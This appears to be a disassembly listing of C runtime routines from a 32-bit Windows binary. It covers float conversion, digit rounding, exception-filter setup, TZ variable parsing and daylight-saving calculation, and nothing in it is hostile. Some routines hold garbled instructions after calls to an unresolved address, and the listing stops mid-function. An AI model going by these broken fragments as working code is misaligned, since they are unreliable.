; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4241E0	proc near		; CODE XREF: sub_42434C+Dp
					; sub_424362+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42424D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424138
		test	eax, eax
		pop	ecx
		jnz	loc_42430C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		pop	ecx


loc_424245:				; CODE XREF: sub_4241E0+E4j
		push	2


loc_424247:				; CODE XREF: sub_4241E0+110j
		pop	eax
		jmp	loc_42430E
; ---------------------------------------------------------------------------


loc_42424D:				; CODE XREF: sub_4241E0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424111
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424085
		add	esp, 10h
		test	eax, eax
		jz	short loc_42426E
		inc	ebx


loc_42426E:				; CODE XREF: sub_4241E0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424286
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		pop	ecx
		jmp	short loc_4242C2
; ---------------------------------------------------------------------------


loc_424286:				; CODE XREF: sub_4241E0+98j
		cmp	ebx, eax
		jg	short loc_4242C9
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424111
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424153
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424085
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424153
		add	esp, 20h


loc_4242C2:				; CODE XREF: sub_4241E0+A4j
		xor	esi, esi
		jmp	loc_424245
; ---------------------------------------------------------------------------


loc_4242C9:				; CODE XREF: sub_4241E0+A8j
		cmp	ebx, [edi]
		jl	short loc_4242F5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42412C
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424153
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424247
; ---------------------------------------------------------------------------


loc_4242F5:				; CODE XREF: sub_4241E0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424153
		pop	ecx
		pop	ecx


loc_42430C:				; CODE XREF: sub_4241E0+55j
		xor	eax, eax


loc_42430E:				; CODE XREF: sub_4241E0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42433D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424347
; ---------------------------------------------------------------------------


loc_42433D:				; CODE XREF: sub_4241E0+14Ej
		cmp	edi, 20h
		jnz	short loc_424347
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424347:				; CODE XREF: sub_4241E0+15Bj
					; sub_4241E0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4241E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42434C	proc near		; CODE XREF: sub_424378+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442EE8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4241E0
		add	esp, 0Ch
		retn
sub_42434C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424362	proc near		; CODE XREF: sub_4243A5+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442F00
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4241E0
		add	esp, 0Ch
		retn
sub_424362	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424378	proc near		; CODE XREF: sub_421800+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42501D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42434C
		add	esp, 24h
		leave
		retn
sub_424378	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243A5	proc near		; CODE XREF: sub_421800+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42501D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424362
		add	esp, 24h
		leave
		retn
sub_4243A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4243D2	proc near		; CODE XREF: sub_42183E+65p
					; sub_421942+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_42440F
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4243F5:				; CODE XREF: sub_4243D2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424401
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424404
; ---------------------------------------------------------------------------


loc_424401:				; CODE XREF: sub_4243D2+27j
		push	30h
		pop	edx


loc_424404:				; CODE XREF: sub_4243D2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4243F5
		mov	edx, [ebp+arg_8]


loc_42440F:				; CODE XREF: sub_4243D2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424428
		cmp	byte ptr [ecx],	35h
		jl	short loc_424428


loc_42441B:				; CODE XREF: sub_4243D2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424426
		mov	byte ptr [eax],	30h
		jmp	short loc_42441B
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_4243D2+4Dj
		inc	byte ptr [eax]


loc_424428:				; CODE XREF: sub_4243D2+42j
					; sub_4243D2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424432
		inc	dword ptr [edx+4]
		jmp	short loc_424444
; ---------------------------------------------------------------------------


loc_424432:				; CODE XREF: sub_4243D2+59j
		push	edi
		call	sub_41B890
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D330
		add	esp, 10h


loc_424444:				; CODE XREF: sub_4243D2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4243D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424449	proc near		; CODE XREF: sub_42183E+3Fp
					; sub_421942+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244AD
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4E16E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4254EE
		mov	ds:dword_4E1710, eax
		add	esp, 18h
		movsx	eax, ds:byte_4E16EA
		mov	ds:dword_4E1708, eax
		pop	edi
		movsx	eax, ds:word_4E16E8
		mov	ds:dword_4E170C, eax
		mov	ds:dword_4E1714, offset	dword_4E16EC
		mov	eax, offset dword_4E1708
		pop	esi
		leave
		retn
sub_424449	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244AD	proc near		; CODE XREF: sub_424449+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4244FB
		cmp	ebx, edi
		jz	short loc_4244F4
		lea	edi, [ecx+3C00h]
		jmp	short loc_42451C
; ---------------------------------------------------------------------------


loc_4244F4:				; CODE XREF: sub_4244AD+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42451C
; ---------------------------------------------------------------------------


loc_4244FB:				; CODE XREF: sub_4244AD+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424513
		cmp	edx, ebx
		jnz	short loc_424513
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424513:				; CODE XREF: sub_4244AD+52j
					; sub_4244AD+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42451C:				; CODE XREF: sub_4244AD+45j
					; sub_4244AD+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424534:				; CODE XREF: sub_4244AD+A6j
		test	ecx, esi
		jnz	short loc_424555
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424534
; ---------------------------------------------------------------------------


loc_424555:				; CODE XREF: sub_4244AD+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_42455E:				; CODE XREF: sub_4244AD+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424563	proc near		; CODE XREF: sub_41F504+3AAp
					; sub_41F504+3CBp ...
		push	2
		call	sub_41E0F9
		pop	ecx
		retn
sub_424563	endp


; =============== S U B	R O U T	I N E =======================================



sub_42456C	proc near		; DATA XREF: sub_4245B2o
					; seg002:00442B20o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42458F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42458F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42458F
		jmp	sub_4223CC
; ---------------------------------------------------------------------------


loc_42458F:				; CODE XREF: sub_42456C+Dj
					; sub_42456C+13j ...
		mov	eax, ds:dword_4E1718
		test	eax, eax
		jz	short loc_4245AC
		push	eax
		call	sub_424608
		test	eax, eax
		pop	ecx
		jz	short loc_4245AC
		push	esi
		call	ds:dword_4E1718
		jmp	short loc_4245AE
; ---------------------------------------------------------------------------


loc_4245AC:				; CODE XREF: sub_42456C+2Aj
					; sub_42456C+35j
		xor	eax, eax


loc_4245AE:				; CODE XREF: sub_42456C+3Ej
		pop	esi
		retn	4
sub_42456C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245B2	proc near		; DATA XREF: seg002:00429030o
		push	offset sub_42456C
		call	ds:dword_42701C	; SetUnhandledExceptionFilter
		mov	ds:dword_4E1718, eax
		retn
sub_4245B2	endp

; ---------------------------------------------------------------------------
		push	ds:dword_4E1718
		call	ds:dword_42701C	; SetUnhandledExceptionFilter
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4245D0	proc near		; CODE XREF: sub_421C16+6Bp
					; sub_422127+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B00000h
		int	3		; Trap to Debugger
		test	eax, eax
		jz	short loc_4245E8
		xor	esi, esi


loc_4245E8:				; CODE XREF: sub_4245D0+14j
		mov	eax, esi
		pop	esi
		retn
sub_4245D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245EC	proc near		; CODE XREF: sub_422127+73p
					; sub_422127+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 0B00000h
		cld
		test	eax, eax
		jz	short loc_424604
		xor	esi, esi


loc_424604:				; CODE XREF: sub_4245EC+14j
		mov	eax, esi
		pop	esi
		retn
sub_4245EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424608	proc near		; CODE XREF: sub_422127+15Bp
					; sub_42456C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 0B00000h
		mov	ch, 85h
		sal	byte ptr [edx+eax+33h],	0F6h
		mov	eax, esi
		pop	esi
		retn
sub_424608	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4223CC


loc_424620:				; CODE XREF: sub_4223CC:loc_42241Dj
		push	0Ah
		call	sub_4234E5
		push	16h
		call	sub_425781
		pop	ecx
		pop	ecx
		push	3
		call	sub_41BE72
; END OF FUNCTION CHUNK	FOR sub_4223CC

; =============== S U B	R O U T	I N E =======================================



sub_424637	proc near		; CODE XREF: sub_4224A1:loc_4224E0p
		cmp	ds:dword_4E17D8, 0
		jnz	short locret_42464B
		call	sub_42464C
		inc	ds:dword_4E17D8

locret_42464B:				; CODE XREF: sub_424637+7j
		retn
sub_424637	endp


; =============== S U B	R O U T	I N E =======================================



sub_42464C	proc near		; CODE XREF: sub_424637+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_4E1720, ebp
		mov	ds:dword_442FC0, ebx
		mov	ds:dword_442FB0, ebx
		call	sub_4258F3
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424775
		push	offset dword_4E1728
		call	near ptr 0B00000h
		cmp	byte ptr [ebx],	0C3h
		jz	loc_4248A4
		mov	eax, ds:dword_4E1728
		mov	ecx, ds:dword_4E177C
		imul	eax, 3Ch
		cmp	ds:word_4E176E,	bp
		push	1
		pop	edx
		mov	ds:dword_442F18, eax
		mov	ds:dword_4E1720, edx
		jz	short loc_4246C3
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_442F18, eax


loc_4246C3:				; CODE XREF: sub_42464C+69j
		cmp	ds:word_4E17C2,	bp
		jz	short loc_4246E7
		mov	eax, ds:dword_4E17D0
		cmp	eax, ebp
		jz	short loc_4246E7
		sub	eax, ecx
		mov	ds:dword_442F1C, edx
		imul	eax, 3Ch
		mov	ds:dword_442F20, eax
		jmp	short loc_4246F3
; ---------------------------------------------------------------------------


loc_4246E7:				; CODE XREF: sub_42464C+7Ej
					; sub_42464C+87j
		mov	ds:dword_442F1C, ebp
		mov	ds:dword_442F20, ebp


loc_4246F3:				; CODE XREF: sub_42464C+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_427180
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_442FA4
		push	ebx
		push	offset dword_4E172C
		push	edi
		push	ds:dword_4E15C0
		call	esi ; dword_427180
		test	eax, eax
		jz	short loc_424730
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_424730
		mov	eax, ds:off_442FA4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_424738
; ---------------------------------------------------------------------------


loc_424730:				; CODE XREF: sub_42464C+D1j
					; sub_42464C+D7j
		mov	eax, ds:off_442FA4
		and	byte ptr [eax],	0


loc_424738:				; CODE XREF: sub_42464C+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_442FA8
		push	ebx
		push	offset dword_4E1780
		push	edi
		push	ds:dword_4E15C0
		call	esi ; dword_427180
		test	eax, eax
		jz	loc_42489C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42489C
		mov	eax, ds:off_442FA8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_4248A4
; ---------------------------------------------------------------------------


loc_424775:				; CODE XREF: sub_42464C+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_4248A4
		mov	eax, ds:dword_4E17D4
		cmp	eax, ebp
		jz	short loc_424798
		push	eax
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4248A4


loc_424798:				; CODE XREF: sub_42464C+139j
		push	ds:dword_4E17D4
		call	sub_41B961
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		call	sub_41BBCB
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_4E17D4, eax
		jz	loc_4248A4
		push	esi
		push	eax
		call	sub_41C550
		push	3
		push	esi
		push	ds:off_442FA4
		call	sub_41BCA0
		mov	eax, ds:off_442FA4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_4247ED
		push	1
		inc	esi
		pop	edi


loc_4247ED:				; CODE XREF: sub_42464C+19Bj
		push	esi
		call	sub_41BD9E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_442F18, ecx


loc_424804:				; CODE XREF: sub_42464C+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_424812
		cmp	al, bl
		jl	short loc_424815
		cmp	al, 39h
		jg	short loc_424815


loc_424812:				; CODE XREF: sub_42464C+1BCj
		inc	esi
		jmp	short loc_424804
; ---------------------------------------------------------------------------


loc_424815:				; CODE XREF: sub_42464C+1C0j
					; sub_42464C+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424868
		inc	esi
		push	esi
		call	sub_41BD9E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_442F18
		add	ecx, eax
		mov	ds:dword_442F18, ecx


loc_424833:				; CODE XREF: sub_42464C+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424840
		cmp	al, 39h
		jg	short loc_424840
		inc	esi
		jmp	short loc_424833
; ---------------------------------------------------------------------------


loc_424840:				; CODE XREF: sub_42464C+1EBj
					; sub_42464C+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424868
		inc	esi
		push	esi
		call	sub_41BD9E
		pop	ecx
		mov	ecx, ds:dword_442F18
		add	ecx, eax
		mov	ds:dword_442F18, ecx


loc_42485B:				; CODE XREF: sub_42464C+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424868
		cmp	al, 39h
		jg	short loc_424868
		inc	esi
		jmp	short loc_42485B
; ---------------------------------------------------------------------------


loc_424868:				; CODE XREF: sub_42464C+1CCj
					; sub_42464C+1F7j ...
		cmp	edi, ebp
		jz	short loc_424874
		neg	ecx
		mov	ds:dword_442F18, ecx


loc_424874:				; CODE XREF: sub_42464C+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_442F1C, eax
		jz	short loc_42489C
		push	3
		push	esi
		push	ds:off_442FA8
		call	sub_41BCA0
		mov	eax, ds:off_442FA8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_4248A4
; ---------------------------------------------------------------------------


loc_42489C:				; CODE XREF: sub_42464C+10Bj
					; sub_42464C+115j ...
		mov	eax, ds:off_442FA8
		and	byte ptr [eax],	0


loc_4248A4:				; CODE XREF: sub_42464C+40j
					; sub_42464C+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42464C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4248AA	proc near		; CODE XREF: sub_4224A1+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_442F1C, edi
		jnz	short loc_4248BE


loc_4248B7:				; CODE XREF: sub_4248AA+148j
					; sub_4248AA+150j ...
		xor	eax, eax
		jmp	loc_424A0A
; ---------------------------------------------------------------------------


loc_4248BE:				; CODE XREF: sub_4248AA+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_442FB0
		jnz	short loc_4248DC
		cmp	eax, ds:dword_442FC0
		jz	loc_4249DE


loc_4248DC:				; CODE XREF: sub_4248AA+24j
		cmp	ds:dword_4E1720, edi
		jz	loc_4249B4
		movzx	ecx, ds:word_4E17CE
		push	ecx
		cmp	ds:word_4E17C0,	di
		movzx	ecx, ds:word_4E17CC
		push	ecx
		movzx	ecx, ds:word_4E17CA
		push	ecx
		movzx	ecx, ds:word_4E17C8
		push	ecx
		jnz	short loc_42492E
		movzx	ecx, ds:word_4E17C4
		push	edi
		push	ecx
		movzx	ecx, ds:word_4E17C6
		push	ecx
		movzx	ecx, ds:word_4E17C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424942
; ---------------------------------------------------------------------------


loc_42492E:				; CODE XREF: sub_4248AA+65j
		movzx	ecx, ds:word_4E17C6
		push	ecx
		push	edi
		movzx	ecx, ds:word_4E17C2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424942:				; CODE XREF: sub_4248AA+82j
		push	ebx
		call	sub_424A56
		movzx	eax, ds:word_4E177A
		add	esp, 2Ch
		cmp	ds:word_4E176C,	di
		push	eax
		movzx	eax, ds:word_4E1778
		push	eax
		movzx	eax, ds:word_4E1776
		push	eax
		movzx	eax, ds:word_4E1774
		push	eax
		jnz	short loc_42499C
		movzx	eax, ds:word_4E1770
		push	edi
		push	eax
		movzx	eax, ds:word_4E1772
		push	eax
		movzx	eax, ds:word_4E176E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424991:				; CODE XREF: sub_4248AA+108j
		push	edi
		call	sub_424A56
		add	esp, 2Ch
		jmp	short loc_4249DE
; ---------------------------------------------------------------------------


loc_42499C:				; CODE XREF: sub_4248AA+C8j
		movzx	eax, ds:word_4E1772
		push	eax
		push	edi
		movzx	eax, ds:word_4E176E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424991
; ---------------------------------------------------------------------------


loc_4249B4:				; CODE XREF: sub_4248AA+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424A56
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424A56
		add	esp, 58h


loc_4249DE:				; CODE XREF: sub_4248AA+2Cj
					; sub_4248AA+F0j
		mov	edx, ds:dword_442FB4
		mov	eax, ds:dword_442FC4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424A0E
		cmp	ecx, edx
		jl	loc_4248B7
		cmp	ecx, eax
		jg	loc_4248B7
		cmp	ecx, edx
		jle	short loc_424A22
		cmp	ecx, eax
		jge	short loc_424A22


loc_424A08:				; CODE XREF: sub_4248AA+166j
					; sub_4248AA+16Aj
		mov	eax, ebx


loc_424A0A:				; CODE XREF: sub_4248AA+Fj
					; sub_4248AA+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424A0E:				; CODE XREF: sub_4248AA+144j
		cmp	ecx, eax
		jl	short loc_424A08
		cmp	ecx, edx
		jg	short loc_424A08
		cmp	ecx, eax
		jle	short loc_424A22
		cmp	ecx, edx
		jl	loc_4248B7


loc_424A22:				; CODE XREF: sub_4248AA+158j
					; sub_4248AA+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424A49
		xor	ecx, ecx
		cmp	eax, ds:dword_442FB8
		setnl	cl


loc_424A45:				; CODE XREF: sub_4248AA+1AAj
		mov	eax, ecx
		jmp	short loc_424A0A
; ---------------------------------------------------------------------------


loc_424A49:				; CODE XREF: sub_4248AA+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_442FC8
		setl	cl
		jmp	short loc_424A45
sub_4248AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A56	proc near		; CODE XREF: sub_4248AA+99p
					; sub_4248AA+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424AF1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424A81
		shl	esi, 2
		mov	eax, ds:dword_442FC8[esi]
		jmp	short loc_424A8A
; ---------------------------------------------------------------------------


loc_424A81:				; CODE XREF: sub_424A56+1Ej
		shl	esi, 2
		mov	eax, ds:dword_442FFC[esi]


loc_424A8A:				; CODE XREF: sub_424A56+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_424AC4
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424ACE
; ---------------------------------------------------------------------------


loc_424AC4:				; CODE XREF: sub_424A56+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424ACE:				; CODE XREF: sub_424A56+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424B0C
		cmp	[ebp+arg_8], 0
		jnz	short loc_424AE2
		mov	esi, ds:dword_442FCC[esi]
		jmp	short loc_424AE8
; ---------------------------------------------------------------------------


loc_424AE2:				; CODE XREF: sub_424A56+82j
		mov	esi, ds:dword_443000[esi]


loc_424AE8:				; CODE XREF: sub_424A56+8Aj
		cmp	ecx, esi
		jle	short loc_424B0C
		sub	ecx, 7
		jmp	short loc_424B0C
; ---------------------------------------------------------------------------


loc_424AF1:				; CODE XREF: sub_424A56+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424B02
		mov	ecx, ds:dword_442FC8[eax*4]
		jmp	short loc_424B09
; ---------------------------------------------------------------------------


loc_424B02:				; CODE XREF: sub_424A56+A1j
		mov	ecx, ds:dword_442FFC[eax*4]


loc_424B09:				; CODE XREF: sub_424A56+AAj
		add	ecx, [ebp+arg_18]


loc_424B0C:				; CODE XREF: sub_424A56+7Cj
					; sub_424A56+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424B3D
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_442FB4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_442FB0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
